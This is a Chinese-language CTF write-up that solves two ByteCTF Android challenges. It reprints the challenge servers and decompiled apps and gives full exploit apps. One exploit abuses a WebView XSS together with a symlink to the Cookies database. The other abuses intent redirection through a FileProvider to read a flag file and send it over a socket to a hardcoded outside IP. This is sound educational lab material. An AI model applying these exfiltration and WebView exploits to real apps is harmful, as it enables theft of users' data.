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通过两篇CTF Android题来入门Android 漏洞挖掘
CTF
## 1.easyAndroid技巧刨析 **此题是考察Android 漏洞挖掘另一个漏洞点,就是Webview的错误设置导致执行xss代码进行注入,获取cookie文件** ```plain #!/usr/bin/env python3 # Copyrigh...
1.easyAndroid技巧刨析 ----------------- **此题是考察Android 漏洞挖掘另一个漏洞点,就是Webview的错误设置导致执行xss代码进行注入,获取cookie文件** ```plain #!/usr/bin/env python3 # Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import json import os import random import shlex import string import subprocess import sys import time import base64 import requests import uuid from hashlib import * import zipfile import signal import traceback random_hex = lambda x: ''.join([random.choice('0123456789abcdef') for _ in range(x)]) difficulty = 6 ADB_PORT = int(random.random() * 60000 + 5000) EMULATOR_PORT = ADB_PORT + 1 EXPLOIT_TIME_SECS = 60 APK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "app-debug.apk") FLAG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "flag") HOME = "/home/user" VULER = "com.bytectf.easydroid" ATTACKER = "com.bytectf.pwneasydroid" ENV = {} ENV.update(os.environ) ENV.update({ "ANDROID_ADB_SERVER_PORT": "{}".format(ADB_PORT), "ANDROID_SERIAL": "emulator-{}".format(EMULATOR_PORT), "ANDROID_SDK_ROOT": "/opt/android/sdk", "ANDROID_SDK_HOME": HOME, "ANDROID_PREFS_ROOT": HOME, "ANDROID_EMULATOR_HOME": HOME + "/.android", "ANDROID_AVD_HOME": HOME + "/.android/avd", "JAVA_HOME": "/usr/lib/jvm/java-11-openjdk-amd64", "PATH": "/opt/android/sdk/cmdline-tools/latest/bin:/opt/android/sdk/emulator:/opt/android/sdk/platform-tools:/bin:/usr/bin:" + os.environ.get("PATH", "") }) def print_to_user(message): print(message) sys.stdout.flush() def download_file(url): try: download_dir = "download" if not os.path.isdir(download_dir): os.mkdir(download_dir) tmp_file = os.path.join(download_dir, time.strftime("%m-%d-%H:%M:%S", time.localtime())+str(uuid.uuid4())+'.apk') f = requests.get(url) if len(f.content) > 5*1024*1024: # Limit size 5M return None with open(tmp_file, 'wb') as fp: fp.write(f.content) return tmp_file except: return None def proof_of_work(): prefix = random_hex(6) print_to_user(f'Question: sha256(("{prefix}"+"xxxx").encode()).hexdigest().startswith("{difficulty*"0"}")') print_to_user(f'Please enter xxxx to satisfy the above conditions:') proof = sys.stdin.readline().strip() return sha256((prefix+proof).encode()).hexdigest().startswith(difficulty*"0") == True def check_apk(path): return True def setup_emulator(): subprocess.call( "avdmanager" + " create avd" + " --name 'pixel_xl_api_27'" + " --abi 'default/x86_64'" + " --package 'system-images;android-27;default;x86_64'" + " --device pixel_xl" + " --force" + " > /dev/null 2> /dev/null" + "", env=ENV, close_fds=True, shell=True) return subprocess.Popen( "emulator" + " -avd pixel_xl_api_27" + " -no-cache" + " -no-snapstorage" + " -no-snapshot-save" + " -no-snapshot-load" + " -no-audio" + " -no-window" + " -no-snapshot" + " -no-boot-anim" + " -wipe-data" + " -accel on" + " -netdelay none" + " -no-sim" + " -netspeed full" + " -delay-adb" + " -port {}".format(EMULATOR_PORT) + " > /dev/null 2> /dev/null " + "", env=ENV, close_fds=True, shell=True, preexec_fn=os.setsid) def adb(args, capture_output=True): return subprocess.run( "adb {} 2> /dev/null".format(" ".join(args)), env=ENV, shell=True, close_fds=True, capture_output=capture_output).stdout def adb_install(apk): adb(["install", apk]) def adb_activity(activity, extras=None, wait=False): args = ["shell", "am", "start"] if wait: args += ["-W"] args += ["-n", activity] if extras: for key in extras: args += ["-e", key, extras[key]] adb(args) def adb_broadcast(action, receiver, extras=None): args = ["shell", "su", "root", "am", "broadcast", "-W", "-a", action, "-n", receiver] if extras: for key in extras: args += ["-e", key, extras[key]] adb(args) print_to_user(r""" ____ ____ __ /\ _`\ /\ _`\ __ /\ \ \ \ \L\_\ __ ____ __ __\ \ \/\ \ _ __ ___ /\_\ \_\ \ \ \ _\L /'__`\ /',__\/\ \/\ \\ \ \ \ \/\`'__\/ __`\/\ \ /'_` \ \ \ \L\ \/\ \L\.\_/\__, `\ \ \_\ \\ \ \_\ \ \ \//\ \L\ \ \ \/\ \L\ \ \ \____/\ \__/.\_\/\____/\/`____ \\ \____/\ \_\\ \____/\ \_\ \___,_\ \/___/ \/__/\/_/\/___/ `/___/> \\/___/ \/_/ \/___/ \/_/\/__,_ / /\___/ \/__/ """) if not proof_of_work(): print_to_user("Please proof of work again, exit...\n") exit(-1) print_to_user("Please enter your apk url:") url = sys.stdin.readline().strip() EXP_FILE = download_file(url) if not check_apk(EXP_FILE): print_to_user("Invalid apk file.\n") exit(-1) print_to_user("Preparing android emulator. This may takes about 2 minutes...\n") emulator = setup_emulator() adb(["wait-for-device"]) adb_install(APK_FILE) adb_activity(f"{VULER}/.MainActivity", wait=True) with open(FLAG_FILE, "r") as f: adb_broadcast(f"com.bytectf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()}) time.sleep(3) adb_install(EXP_FILE) adb_activity(f"{ATTACKER}/.MainActivity") print_to_user("Launching! Let your apk fly for a while...\n") time.sleep(EXPLOIT_TIME_SECS) try: os.killpg(os.getpgid(emulator.pid), signal.SIGTERM) except: traceback.print_exc() ``` 跟上题大概的配置要求差不多,只不过这里换了包名和对模拟器的要求,com.bytectf.pwneasydroid我们要在本地的包名设置成这个,如果在本地测试的话,我们要在本地发个广播设置一个flag 设置flag,跟上题没什么很大的区别: ```plain adb shell su root am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.easydroid/.FlagReceiver -e flag flag{azlyflag} ``` 接下来我们就要反编译下apk文件,进行审计 反编译后,第一步还是要先看下AndroidManifest.xml配置文件 ```plain <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="30" android:compileSdkVersionCodename="11" package="com.bytectf.easydroid" platformBuildVersionCode="30" platformBuildVersionName="11"> <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="27"/> <uses-permission android:name="android.permission.INTERNET"/> <application android:theme="@style/Theme.Easydroid" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:usesCleartextTraffic="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory"> <activity android:name="com.bytectf.easydroid.MainActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> <activity android:name="com.bytectf.easydroid.TestActivity" android:exported="false"/> <receiver android:name="com.bytectf.easydroid.FlagReceiver" android:exported="false"> <intent-filter> <action android:name="com.bytectf.SET_FLAG"/> </intent-filter> </receiver> </application> </manifest> ``` 发现有两个class是不能直接访问的,我们就从MainActivity进行审计 ```plain package com.bytectf.easydroid; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.webkit.WebView; import android.webkit.WebViewClient; import androidx.appcompat.app.AppCompatActivity; import java.net.URISyntaxException; public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ @Override // androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, androidx.fragment.app.FragmentActivity public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Uri data = getIntent().getData(); if (data == null) { data = Uri.parse("http://app.toutiao.com/"); } if (data.getAuthority().contains("toutiao.com") && data.getScheme().equals("http")) { WebView webView = new WebView(getApplicationContext()); webView.setWebViewClient(new WebViewClient() { /* class com.bytectf.easydroid.MainActivity.AnonymousClass1 */ @Override // android.webkit.WebViewClient public boolean shouldOverrideUrlLoading(WebView view, String url) { if (!Uri.parse(url).getScheme().equals("intent")) { return super.shouldOverrideUrlLoading(view, url); } try { MainActivity.this.startActivity(Intent.parseUri(url, 1)); } catch (URISyntaxException e) { e.printStackTrace(); } return true; } }); setContentView(webView); webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl(data.toString()); } } } ``` 大概就是有个检测,检测url前部分为是否为toutiao.com,然后再进行一个url的读取,然后在开启WebView读取,关键照成漏洞的原因是webView.getSettings().setJavaScriptEnabled(true);,这一行就是将转载过来的url内容当成js代码去执行,如果url的内容设置成我们的xss代码,是不是就能造成一个xss注入了,是的,能进行注入并且读取cookie,如果绕过前面url部分就能直接使用Intent执行我们另一个class文件进行操作 然后再看下TestActive ```plain package com.bytectf.easydroid; import android.app.Activity; import android.os.Bundle; import android.webkit.WebView; public class TestActivity extends Activity { /* access modifiers changed from: protected */ public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); String url = getIntent().getStringExtra("url"); WebView webView = new WebView(getApplicationContext()); setContentView(webView); webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl(url); } } ``` 这个直接就很明显,直接获取intent的url参数进行一个解析成js,这就是在我们exp的setData的一个url参数,盗取cookie文件 思路: 1.第一步利用软连接创建一个symlink.html指向Cookies数据库,然后在加载我们自己的网页时注入一个XSS到Cookie中 2.利用Intent广播一下把data数据放到目标MainActive里,然后用webview进行加载一下我们设置的远程服务器上的js xss代码 3.然后在我们放的远程代码里放的代码里进行停留,并且接受刚刚创建的软链接,让它导进来并且将cookie文件回显到当前页面上,成功读取flag AndroidManifest.xml: 我们在AndroidManifest还是要再次申请一个权限,因为利用的是Intent MainActive.class: ```plain package com.bytectf.pwneasydroid; import android.annotation.SuppressLint; import android.app.Activity; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.os.Handler; import android.util.Log; import android.webkit.WebView; import android.webkit.WebViewClient; import android.widget.EditText; import android.widget.Toast; import java.net.URISyntaxException; public class MainActivity extends Activity { //EditText ed; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); //ed = new EditText(this); //setContentView(ed); //launch("file://" + symlink()); symlink(); //创建软链接 Intent i = new Intent(); i.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.MainActivity"); i.setData(Uri.parse("http://toutiao.com.azly.top/index.html")); new Handler().postDelayed(() -> startActivity(i),5000); } private void launch(String url) { Uri uri = Uri.parse("http://106.14.254.135#toutiao.com/"); Intent i = new Intent(); i.setClassName("com.bytectf.easydroid","com.bytectf.easydroid.TestActivity"); i.putExtra("url",url); i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); String url_str = i.toUri(Intent.URI_INTENT_SCHEME); //ed.setText(url_str); } private String symlink() { try { String root = getApplicationInfo().dataDir; String symlink = root + "/symlink."; String cookies = "/data/data/com.byhtmltectf.easydroid/app_webview/Cookies"; Runtime.getRuntime().exec("rm " + symlink).waitFor(); Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink).waitFor(); Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor(); return symlink; } catch (Exception e) { throw new RuntimeException(e); } } } ``` MainActive思路:第一步就是根据思路来进行创建软链接,然后根据Intent进行传参到Webview,加载我们远程服务器的index.html的js代码进行一个xss注入接受软链接symxml.html,因为symxml是链接到我们的cookie数据库里,接收到以后就能就能获取flag显示当前页面上了 **总结1:此题学到了Android 漏洞挖掘的一个关于WebView的一种利用方式** 2.BabyAndroid技巧刨析 ----------------- **Android pwn它的需要一些App开发知识和四大组件,在bytectf有关于Android pwn的几道题,这里简单记录下** 1.我们拿到题目压缩包,压缩包里有server的py文件,我们先审计一下这个py文件 server.py: ```plain #!/usr/bin/env python3 # Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import json import os import random import shlex import string import subprocess import sys import time import base64 import requests import uuid from hashlib import * import zipfile import signal import traceback random_hex = lambda x: ''.join([random.choice('0123456789abcdef') for _ in range(x)]) difficulty = 6 ADB_PORT = int(random.random() * 60000 + 5000) EMULATOR_PORT = ADB_PORT + 1 EXPLOIT_TIME_SECS = 30 APK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "app-debug.apk") FLAG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "flag") HOME = "/home/user" VULER = "com.bytectf.babydroid" #目标是这个包名 ATTACKER = "com.bytectf.pwnbabydroid" #我们要按照这个文件包名来写个exp app ENV = {} ENV.update(os.environ) ENV.update({ "ANDROID_ADB_SERVER_PORT": "{}".format(ADB_PORT), "ANDROID_SERIAL": "emulator-{}".format(EMULATOR_PORT), "ANDROID_SDK_ROOT": "/opt/android/sdk", "ANDROID_SDK_HOME": HOME, "ANDROID_PREFS_ROOT": HOME, "ANDROID_EMULATOR_HOME": HOME + "/.android", "ANDROID_AVD_HOME": HOME + "/.android/avd", "JAVA_HOME": "/usr/lib/jvm/java-11-openjdk-amd64", "PATH": "/opt/android/sdk/cmdline-tools/latest/bin:/opt/android/sdk/emulator:/opt/android/sdk/platform-tools:/bin:/usr/bin:" + os.environ.get("PATH", "") }) def print_to_user(message): print(message) sys.stdout.flush() def download_file(url): try: download_dir = "download" if not os.path.isdir(download_dir): os.mkdir(download_dir) tmp_file = os.path.join(download_dir, time.strftime("%m-%d-%H:%M:%S", time.localtime())+str(uuid.uuid4())+'.apk') f = requests.get(url) if len(f.content) > 5*1024*1024: # Limit size 5M return None with open(tmp_file, 'wb') as fp: fp.write(f.content) return tmp_file except: return None def proof_of_work(): prefix = random_hex(6) print_to_user(f'Question: sha256(("{prefix}"+"xxxx").encode()).hexdigest().startswith("{difficulty*"0"}")') print_to_user(f'Please enter xxxx to satisfy the above conditions:') proof = sys.stdin.readline().strip() return sha256((prefix+proof).encode()).hexdigest().startswith(difficulty*"0") == True def check_apk(path): return True def setup_emulator(): subprocess.call( "avdmanager" + " create avd" + " --name 'pixel_xl_api_30'" + " --abi 'google_apis/x86_64'" + " --package 'system-images;android-30;google_apis;x86_64'" + " --device pixel_xl" + " --force" + " > /dev/null 2> /dev/null" + "", env=ENV, close_fds=True, shell=True) return subprocess.Popen( "emulator" + " -avd pixel_xl_api_30" + " -no-cache" + " -no-snapstorage" + " -no-snapshot-save" + " -no-snapshot-load" + " -no-audio" + " -no-window" + " -no-snapshot" + " -no-boot-anim" + " -wipe-data" + " -accel on" + " -netdelay none" + " -no-sim" + " -netspeed full" + " -delay-adb" + " -port {}".format(EMULATOR_PORT) + " > /dev/null 2> /dev/null " + "", env=ENV, close_fds=True, shell=True, preexec_fn=os.setsid) def adb(args, capture_output=True): return subprocess.run( "adb {} 2> /dev/null".format(" ".join(args)), env=ENV, shell=True, close_fds=True, capture_output=capture_output).stdout def adb_install(apk): adb(["install", apk]) def adb_activity(activity, extras=None, wait=False): args = ["shell", "am", "start"] if wait: args += ["-W"] args += ["-n", activity] if extras: for key in extras: args += ["-e", key, extras[key]] adb(args) def adb_broadcast(action, receiver, extras=None): args = ["shell", "su", "root", "am", "broadcast", "-W", "-a", action, "-n", receiver] if extras: for key in extras: args += ["-e", key, extras[key]] adb(args) print_to_user(r""" ____ __ ____ __ /\ _`\ /\ \ /\ _`\ __ /\ \ \ \ \L\ \ __ \ \ \____ __ __\ \ \/\ \ _ __ ___ /\_\ \_\ \ \ \ _ <' /'__`\ \ \ '__`\/\ \/\ \\ \ \ \ \/\`'__\/ __`\/\ \ /'_` \ \ \ \L\ \/\ \L\.\_\ \ \L\ \ \ \_\ \\ \ \_\ \ \ \//\ \L\ \ \ \/\ \L\ \ \ \____/\ \__/.\_\\ \_,__/\/`____ \\ \____/\ \_\\ \____/\ \_\ \___,_\ \/___/ \/__/\/_/ \/___/ `/___/> \\/___/ \/_/ \/___/ \/_/\/__,_ / /\___/ \/__/ """) if not proof_of_work(): print_to_user("Please proof of work again, exit...\n") exit(-1) print_to_user("Please enter your apk url:") url = sys.stdin.readline().strip() EXP_FILE = download_file(url) if not check_apk(EXP_FILE): print_to_user("Invalid apk file.\n") exit(-1) print_to_user("Preparing android emulator. This may takes about 2 minutes...\n") emulator = setup_emulator() adb(["wait-for-device"]) adb_install(APK_FILE) adb_activity(f"{VULER}/.MainActivity", wait=True) with open(FLAG_FILE, "r") as f: adb_broadcast(f"com.bytectf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()}) time.sleep(3) adb_install(EXP_FILE) adb_activity(f"{ATTACKER}/.MainActivity") print_to_user("Launching! Let your apk fly for a while...\n") time.sleep(EXPLOIT_TIME_SECS) try: os.killpg(os.getpgid(emulator.pid), signal.SIGTERM) except: traceback.print_exc() ``` 通过审计上面的py文件我们要在之前准备几个东西,一个就是模拟器system-images;android-30;google\_apis;x86\_64,设置这个模拟器,AVD manage里设置一下就可以 然后我们把给的apk文件用jadx-gui去解析下,第一步先看AndroidManifest.xml ```plain <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="30" android:compileSdkVersionCodename="11" package="com.bytectf.babydroid" platformBuildVersionCode="30" platformBuildVersionName="11"> <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="30"/> <application android:theme="@style/Theme.Babydroid" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory"> <activity android:name="com.bytectf.babydroid.MainActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> <activity android:name="com.bytectf.babydroid.Vulnerable"> <intent-filter> <action android:name="com.bytectf.TEST"/> #主要是这里 </intent-filter> </activity> <receiver android:name="com.bytectf.babydroid.FlagReceiver" android:exported="false"> <intent-filter> <action android:name="com.bytectf.SET_FLAG"/> </intent-filter> </receiver> <provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="androidx.core.content.FileProvider" android:grantUriPermissions="true"> <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths"/> </provider> </application> </manifest> ``` 我们发现在intent里创建了很多过滤器,所以我们先看下com.bytectf.babydroid.Vulnerable这个包 ```plain package com.bytectf.babydroid; import android.app.Activity; import android.content.Intent; import android.os.Bundle; public class Vulnerable extends Activity { /* access modifiers changed from: protected */ public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); startActivity((Intent) getIntent().getParcelableExtra("intent")); } } ``` 这个应该就是攻击的class,这里利用了一个组件Intent,看下Intent基础: 1. 显式Intent 构造方法接收两个参数:( context提供启动活动的上下文,class指定想启动的目标活动 ) Intent intent = new Intent(FirstActivity.this, SecondActivity.class); startActivity(intent); 2. 隐式Intent 指定action和category等信息。action只能指定一个,category可指定多个。 Intent intent = new Intent("com.example.activitytest.ACTION\_START"); intent.addCategory("com.example.activitytest.MY\_CATEGORY"); startActivity(intent); 3.隐式Intent启动其他程序 // 浏览器 Intent intent = new Intent(Intent.ACTION\_VIEW); intent.setData(Uri.parse("<http://www.baidu.com>")); startActivity(intent); //拨号 Intent intent = new Intent(Intent.ACTION\_DIAL); intent.setData(Uro.parse("tel:10086")); startActivity(intent); 4.向下一个活动传递数据 传入:调用 putExtra(),接收两个参数分别为键值。 取出:首先调用 getIntent() 获取Intent,再根据传递的数据类型,调用 getStringExtra()、getIntExtra() 等方法。 //传入 String data = "Hello SecondActivity"; Intent intent = new Intent(FirstActivity.this, SecondActivity.class); Intent.putExtra("extra\_data",data); startActivity(intent); //取出 Intent intent= getIntent(); String data = intent.getStringExtra("extra\_data"); Log.d("SecondActivity", data); 3. 返回数据给上一个活动 启动活动:使用 startActivityForResult() ,它接收两个参数 ( Intent, 请求码 )。 返回数据:new出一个Intent putExtra() 放入数据,调用 setResult(RESULT\_OK, intent) ,最后销毁当前活动。 获取数据:重写回调的 onActivityResult() 方法,检查requestCode和resultCode,调用 data.getStringExtra() 取出数据。 // 获取数据 \[@Override \]() protected void onActivityResult(int requestCode, int resultCode, Intent data) { switch (requestCode) { case 1: if (resultCode == RESULT\_OK) { String returnedData = data.getStringExtra("data\_return"); Log.d("FirstActivity", returnedData); } break; default: } } 学过基础后,就可以直接写exp了,因为我们可以直接跳转到我们nc的class里面进而远程带出flag 1.利用Android studio 创建项目,空白的项目即可 2.包名要跟它规定的一样,也就是pwnbabydroid 3.在AndroidManifest.xml添加要申请的权限 这是我们要进行申请权限(由于目标是30版本,我们这里要多加个 android:usesCleartextTraffic="true",因为高版本是禁止使用明文流量的) 4.我们利用传参的方式来写主要exp,通过exp的传参,跳转到目标的攻击类里(Vulnclass),然后通过目标的攻击类跳转到我们创建的FlagHunter里 5.FlagHunter里写的主要是,我们进行获取远程的一个flag,并反弹到我们远程服务器上进而获取flag 6.由于是在本地创建的环境所以我们本地目标app里是没有flag文件的,这里我们要用adb自己去导入一个flag文件 在py文件里有个这几行代码,是用来写flag的准确位置,由于是在本地复现,我们跟据它写的地址,我们利用adb发个广播 adb\_install(APK\_FILE) adb\_activity(f"{VULER}/.MainActivity", wait=True) with open(FLAG\_FILE, "r") as f: adb\_broadcast(f"com.bytectf.SET\_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()}) adb shell su root am broadcast -W -a com.bytectf.SET\_FLAG -n com.bytectf.babydroid/.FlagReceiver -e flag flag{azly,good hack} 这里导入的时候,我们要在模拟器里要打开目标app才能准确导入 7.这些都准备好后就可以运行了,在远程服务器获取flag 还有一点是要注意的是,因为我们除了一个主要的class,另外创建了一个flagHunter class文件,这时候我们要在AndroidManifest进行添加这个就可以了 以上就是这个题的思路 我们直接看exp app code吧,因为更好理解 MainActivity.class: ```plain package com.bytectf.pwnbabydroid; import android.app.Activity; import android.content.ContentValues; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.provider.MediaStore; import android.widget.Toast; import java.io.ByteArrayOutputStream; import java.io.InputStream; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent extra = new Intent(); extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION); extra.setClassName(getPackageName(), "com.bytectf.pwnbabydroid.FlagHunter"); extra.setData(Uri.parse("content://androidx.core.content.FileProvider/")); Intent intent = new Intent(); intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable"); intent.putExtra("intent", extra); intent.setAction("com.bytectf.TEST"); startActivity(intent); } } ``` 重:setAction设置为TEST,是因为我们在目标app上的vulnerable的过滤器就是TEST,不设置的话是无法得到相应的处理的 FlagHunter.class: ```plain package com.bytectf.pwnbabydroid; import android.app.Activity; import android.net.Uri; import android.os.Bundle; import android.util.Log; import android.widget.TextView; import android.widget.Toast; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStream; import java.net.InetSocketAddress; import java.net.Socket; import java.net.SocketAddress; public class FlagHunter extends Activity { @Override public void onCreate(Bundle bundle) { super.onCreate(bundle); try { String file = "/root/data/data/com.bytectf.babydroid/files/flag"; InputStream is = getContentResolver().openInputStream(Uri.parse(getIntent().getDataString() + file)); BufferedReader br = new BufferedReader(new InputStreamReader(is)); StringBuilder sb = new StringBuilder(); String line; while ((line = br.readLine()) != null) { sb.append(line); } is.close(); br.close(); String flag = sb.toString(); Log.e("FlagHunter", flag); new Thread(new Runnable() { @Override public void run() { try { if (true) { Socket sk = new Socket(); SocketAddress address = new InetSocketAddress("106.14.254.135", 6666); sk.connect(address, 5000); sk.setTcpNoDelay(true); sk.setKeepAlive(true); OutputStream os = sk.getOutputStream(); os.write(flag.getBytes()); os.flush(); os.close(); sk.close(); Thread.sleep(1000); } } catch (Exception e) { Log.e("FlagHunter_Err",e.toString()); } } }).start(); //os.close(); } catch (Exception e) { Log.e("FlagHunter_Err",e.toString()); } } } ``` AndroidManifest.xml: ```plain <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.bytectf.pwnbabydroid"> <uses-permission android:name="android.permission.INTERNET" /> <application android:usesCleartextTraffic="true" android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" > <activity android:usesCleartextTraffic="true" android:name=".MainActivity" android:exported="true" android:label="@string/title_activity_main"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:name="com.bytectf.pwnbabydroid.FlagHunter" android:exported="true" /> </application> </manifest> ``` 自此完整的exp就可以完成了,直接通过Android studio运行即可 成功反弹到flag **总结2:这道Android pwn让我 学到好多东西,发现原来Android也可能被出到pwn题上,未来还要多多研究**
发表于 2022-02-08 09:30:54
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